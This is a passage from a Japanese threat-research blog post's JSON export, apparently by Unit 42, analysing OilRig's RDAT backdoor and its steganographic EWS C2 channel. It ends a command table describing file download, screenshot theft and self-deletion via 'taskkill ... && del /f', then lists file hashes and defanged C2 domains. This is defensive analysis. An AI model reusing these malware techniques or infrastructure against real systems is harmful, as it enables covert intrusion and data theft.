24.0534%;\">4,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;\u30c7\u30fc\u30bf\u5185\u30aa\u30d5\u30bb\u30c3\u30c8&gt;,&lt;\u4e71\u6570&gt;<\/td>\n<td style=\"width: 54.6666%;\">C2\u306e\u5fdc\u7b54\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3001%TEMP%\\tmp&lt;\u4e71\u6570&gt;\u3068\u3044\u3046\u540d\u524d\u306e\u4e00\u6642\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\u901a\u4fe1\u30bf\u30a4\u30d7\"4\"\u304a\u3088\u3073\u53d7\u4fe1\u3059\u308b\u30c7\u30fc\u30bf\u5185\u30aa\u30d5\u30bb\u30c3\u30c8\u3092\u6307\u5b9a\u3057\u3066HTTP POST\u8981\u6c42\u3092\u9001\u4fe1\u3057\u3001\u5fdc\u7b54\u3092\u89e3\u6790\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080\u30c7\u30fc\u30bf\u3092\u751f\u6210\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u4e00\u5ea6\u306b81,920\u30d0\u30a4\u30c8\u305a\u3064\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304d\u3001\u305d\u306e\u5185\u5bb9\u3092base64\u3067\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u304b\u3089AES CBC\u3067\u5fa9\u53f7\u3057\u307e\u3059\u3002\u4e00\u6642\u30d5\u30a1\u30a4\u30eb\u3092\u30c7\u30b3\u30fc\u30c9\u304a\u3088\u3073\u5fa9\u53f7\u3057\u3066\u6307\u5b9a\u3055\u308c\u305f\u4e00\u6642\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3093\u3060\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u306b\u306f\u3001C2\u306b\u30aa\u30d5\u30bb\u30c3\u30c8\u3068\u3057\u3066\"-1\"\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">5,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;<\/td>\n<td style=\"width: 24.0534%;\">6,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,&lt;base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8&gt;,&lt;\u4e0d\u660e(\u30b5\u30a4\u30ba?)&gt;<\/td>\n<td style=\"width: 54.6666%;\">\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u64ae\u3063\u3066JPEG\u3068\u3057\u3066\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3001JPEG\u753b\u50cf\u3092base64\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">6,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;<\/td>\n<td style=\"width: 24.0534%;\">7,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,\"&lt;EOF&gt;\"<\/td>\n<td style=\"width: 54.6666%;\">\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3067taskkill \/f \/pid &lt;\u73fe\u5728\u306ePID&gt; &amp;&amp; &lt;\u73fe\u5728\u306e\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u30d1\u30b9&gt;\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3057\u3066\u304b\u3089\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30b9\u30a4\u30c3\u30c1\"-r\"\u3092\u4f7f\u7528\u3057\u3066\u518d\u5b9f\u884c\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.9067%;\">7,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;<\/td>\n<td style=\"width: 24.0534%;\">7,&lt;16\u6587\u5b57\u306e\u30b7\u30b9\u30c6\u30e0ID&gt;,&lt;\u30bf\u30b9\u30af\u756a\u53f7&gt;,\"&lt;EOF&gt;\"<\/td>\n<td style=\"width: 54.6666%;\">\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3067taskkill \/f \/pid &lt;\u73fe\u5728\u306ePID&gt; &amp;&amp; del \/f &lt;\u73fe\u5728\u306e\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u30d1\u30b9&gt;\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30a2\u30f3\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em>\u88683: \u65b0\u624b\u306eEWS C2\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3059\u308bRDAT\u30b5\u30f3\u30d7\u30eb\u5185\u3067\u4f7f\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9<\/em><\/p>\n<h2><a id=\"post-108014-_3qcijtgfuxbc\"><\/a><strong>\u7d50\u8ad6<\/strong><\/h2>\n<p>OilRig\u8105\u5a01\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u5c11\u306a\u304f\u3068\u30823\u5e74\u306f\u7d9a\u3044\u3066\u3044\u308b\u4e2d\u6771\u7d44\u7e54\u3092\u6a19\u7684\u3068\u3057\u305f\u653b\u6483\u306b\u3001RDAT\u30d0\u30c3\u30af\u30c9\u30a2\u3092\u4f7f\u7528\u3057\u3066\u304d\u307e\u3057\u305f\u3002\u76f4\u8fd1\u306e\u65e2\u77e5\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f\u30012020\u5e744\u6708\u306b\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3057\u3066\u884c\u308f\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u30c4\u30fc\u30eb\u306f3\u5e74\u9593\u306b\u308f\u305f\u3063\u3066\u7d99\u7d9a\u7684\u306b\u958b\u767a\u304c\u884c\u308f\u308c\u3066\u304a\u308a\u3001\u6a5f\u80fd\u3084\u4f7f\u7528\u53ef\u80fd\u306aC2\u30c1\u30e3\u30cd\u30eb\u304c\u7570\u306a\u308b\u8907\u6570\u306e\u4e9c\u7a2e\u304c\u751f\u6210\u3055\u308c\u307e\u3057\u305f\u3002\u30b5\u30f3\u30d7\u30eb\u306e\u5927\u90e8\u5206\u306fHTTP\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306b\u3088\u308b\u30c1\u30e3\u30cd\u30eb\u306e\u7d44\u307f\u5408\u308f\u305b\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u552f\u4e00\u306e\u4f8b\u5916\u3068\u3057\u3066\u958b\u767a\u8005\u304cExchange Web Services\u3092\u5229\u7528\u3057\u3066\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u753b\u50cf\u30d5\u30a1\u30a4\u30eb\u304c\u6dfb\u4ed8\u3055\u308c\u3066\u3044\u308b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u653b\u6483\u8005\u3068\u306e\u9593\u3067\u9001\u53d7\u4fe1\u3059\u308b\u30b5\u30f3\u30d7\u30eb\u304c\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u306f\u3001\u3053\u306e\u653b\u6483\u8005\u304c\u9577\u5e74\u306b\u308f\u305f\u3063\u3066\u5e38\u306b\u3055\u307e\u3056\u307e\u306a\u6226\u8853\u3068\u624b\u6cd5\u3092\u8003\u6848\u3057\u3001\u958b\u767a\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u3059\u3079\u3066\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306f<a href=\"https:\/\/www.paloaltonetworks.com\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u3067\u60aa\u610f\u304c\u3042\u308b\u3068\u5224\u65ad\u3055\u308c\u3001Cortex XDR\u3092\u901a\u3058\u3066\u4fdd\u8b77\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>C2\u901a\u4fe1\u3067\u4f7f\u7528\u3055\u308c\u308bDNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306f<a href=\"https:\/\/www.paloaltonetworks.com\/resources\/datasheets\/dns-security-service\">DNS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/a>\u3092\u901a\u3058\u3066\u30d6\u30ed\u30c3\u30af\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u3059\u3079\u3066\u306eC2\u30c9\u30e1\u30a4\u30f3\u306f<a href=\"https:\/\/www.paloaltonetworks.com\/products\/threat-detection-and-prevention\/web-security\">URL\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0<\/a>\u3067\u30b3\u30de\u30f3\u30c9\u30a2\u30f3\u30c9\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3068\u3057\u3066\u5206\u985e\u3055\u308c\u307e\u3059\u3002<\/li>\n<li><a href=\"https:\/\/blog.paloaltonetworks.com\/2019\/11\/cortex-threat-intelligence\/\">AutoFocus<\/a>\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.rdat_backdoor\">rdat_backdoor<\/a>\u30bf\u30b0\u3067\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u76e3\u8996\u3067\u304d\u307e\u3059\u3002<\/li>\n<\/ul>\n<h2><a id=\"post-108014-_tv255ms5gptj\"><\/a><strong>\u4ed8\u9332<\/strong><\/h2>\n<h4><a id=\"post-108014-_4fk1bkmiob7h\"><\/a>\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u306b\u95a2\u9023\u3059\u308b\u30d5\u30a1\u30a4\u30eb<\/h4>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec<\/span> - RDAT backdoor<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">e53cc5e62ba15e43877ca2fc1bee16061b4468545d5cc1515cb38000e22dd060<\/span> - Custom Mimikatz<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">476b40796be68a5ee349677274e438aeda3817f99ba9832172d81a2c64b0d4ae<\/span> - Bitvise client<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">78584dadde1489a5dca0e307318b3d2d49e39eb3987de52e288f9882527078d5<\/span> - PowerShell downloader<\/li>\n<\/ul>\n<h4><a id=\"post-108014-_r4ozr3uaxxzw\"><\/a>RDAT\u30b5\u30f3\u30d7\u30eb<\/h4>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">7395a3ada245df6c8ff1d66fcb54b96ae12961d5fd9b6a57c43a3e7ab83f3cc2<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">8f943bc5b20517fea08b2d0acc9afe8990703e9d4f7015b98489703ca51da7eb<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">8120849fbe85179a16882dd1a12a09fdd3ff97e30c3dfe52b43dd2ba7ed33c2a<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">bcdb63b3520e34992f292bf9a38498f49a9ca045b7b40caab5302c76ca10f035<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">f42c2b40574dc837b33c1012f7b6f41fcccc5ebf740a2b0af64e2c530418e9e0<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">fcabb86331cd5e2fa9edb53c4282dfcb16cc3d2cae85aabf1ee3c0c0007e508c<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">7b5042d3f0e9f077ef2b1a55b5fffab9f07cc856622bf79d56fc752e4dc04b28<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">de3f1cc2d4aac54fbdebd5bd05c9df59b938eb79bda427ae26dedef4309c55a9<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">acb50b02ab0ca846025e7ad6c795a80dc6f61c4426704d0f1dd7e195143f5323<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">55282007716b2b987a84a790eb1c9867e23ed8b5b89ef1a836cbedaf32982358<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">ba380e589261781898b1a54c2889f3360db09c61b9155607d7b4d11fcd85bd9d<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">6322cacf839b9c863f09c8ad9fd0e091501c9ba354730ab4809bb4c076610006<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-108014-_vxtztetal34\"><\/a>RDAT\u306eC2\u30c9\u30e1\u30a4\u30f3<\/h4>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">rdmsi[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">rsshay[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">sharjatv[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">wwmal[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">allsecpackupdater[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">tacsent[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">acrlee[.]com <\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">kopilkaorukov[.]com<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-108014-_gr9gjt15gmaa\"><\/a>\u95a2\u9023\u3059\u308b\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3<\/h4>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">digi.shanx[.]icu<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">tprs-servers[.]eu<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">oudax[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">kizlarsoroyur[.]com<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">intelligent-finance[.]site<\/span><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u306e\u5206\u6790\u4e2d\u306b\u3001\u5f0a\u793e\u304cRDAT\u3068\u547c\u3093\u3067\u3044\u308bOilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u4e9c\u7a2e\u306f\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u624b\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u6dfb\u4ed8\u3055\u308c<\/p>\n","protected":false},"author":22,"featured_media":134328,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4321,1974,4428],"tags":[4521,6005,4827,6271,6272,6273],"product_categories":[4444,4343,4448],"coauthors":[935],"class_list":["post-108202","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-research","category-malware-ja","category-threat-research-ja","tag-dns-tunneling-ja","tag-emea-ja","tag-mimikatz-ja","tag-oilrig-ja","tag-steganography","tag-steganography-ja","product_categories-advanced-wildfire-ja","product_categories-cortex-xdr","product_categories-cortex-xdr-ja"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0<\/title>\n<meta name=\"description\" content=\"\u4e2d\u6771\u7cfb\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3092\u5206\u6790\u4e2d\u3001OilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3001RDAT\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u4e9c\u7a2e\u306f\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3067\u30e1\u30fc\u30eb\u6dfb\u4ed8\u306eBMP\u753b\u50cf\u306b\u30b3\u30de\u30f3\u30c9\u3084\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u307fC2\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u691c\u51fa\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0\" \/>\n<meta property=\"og:description\" content=\"\u4e2d\u6771\u7cfb\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3092\u5206\u6790\u4e2d\u3001OilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3001RDAT\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u4e9c\u7a2e\u306f\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3067\u30e1\u30fc\u30eb\u6dfb\u4ed8\u306eBMP\u753b\u50cf\u306b\u30b3\u30de\u30f3\u30c9\u3084\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u307fC2\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u691c\u51fa\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2020-07-30T05:05:24+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Robert Falcone\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0","description":"\u4e2d\u6771\u7cfb\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3092\u5206\u6790\u4e2d\u3001OilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3001RDAT\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u4e9c\u7a2e\u306f\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3067\u30e1\u30fc\u30eb\u6dfb\u4ed8\u306eBMP\u753b\u50cf\u306b\u30b3\u30de\u30f3\u30c9\u3084\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u307fC2\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u691c\u51fa\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/","og_locale":"ja_JP","og_type":"article","og_title":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0","og_description":"\u4e2d\u6771\u7cfb\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3092\u5206\u6790\u4e2d\u3001OilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3001RDAT\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u4e9c\u7a2e\u306f\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3067\u30e1\u30fc\u30eb\u6dfb\u4ed8\u306eBMP\u753b\u50cf\u306b\u30b3\u30de\u30f3\u30c9\u3084\u30c7\u30fc\u30bf\u3092\u57cb\u3081\u8fbc\u307fC2\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30e1\u30fc\u30eb\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u691c\u51fa\u304c\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\u3002","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/","og_site_name":"Unit 42","article_published_time":"2020-07-30T05:05:24+00:00","og_image":[{"width":1920,"height":900,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg","type":"image\/jpeg"}],"author":"Robert Falcone","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/"},"author":{"name":"Robert Falcone","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1"},"headline":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0","datePublished":"2020-07-30T05:05:24+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/"},"wordCount":1227,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#primaryimage"},"thumbnailUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg","keywords":["DNS tunneling","EMEA","Mimikatz","OilRig","steganography","steganography"],"articleSection":["Threat Research","\u30de\u30eb\u30a6\u30a7\u30a2","\u8105\u5a01\u30ea\u30b5\u30fc\u30c1"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/","name":"\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u3092\u6a19\u7684\u3068\u3059\u308bOilRig\u304c\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u5229\u7528\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u3092\u653b\u6483\u624b\u6bb5\u306b\u8ffd\u52a0","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/oilrig-novel-c2-channel-steganography\/#primaryimage"},"thumbnailUrl":"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/04_Malware_Category_1920x900.jpg","datePublished":"2020-07-30T05:05:24+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/99e613cb620722a191a363182abe6fb1"},"description":"\u4e2d\u6771\u7cfb\u901a\u4fe1\u4e8b\u696d\u8005\u3078\u306e\u653b\u6483\u3092\u5206\u6790\u4e2d\u3001OilRig\u95a2\u9023\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3001RDAT\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u672c\u4e9c\u7a2e\u306f\u30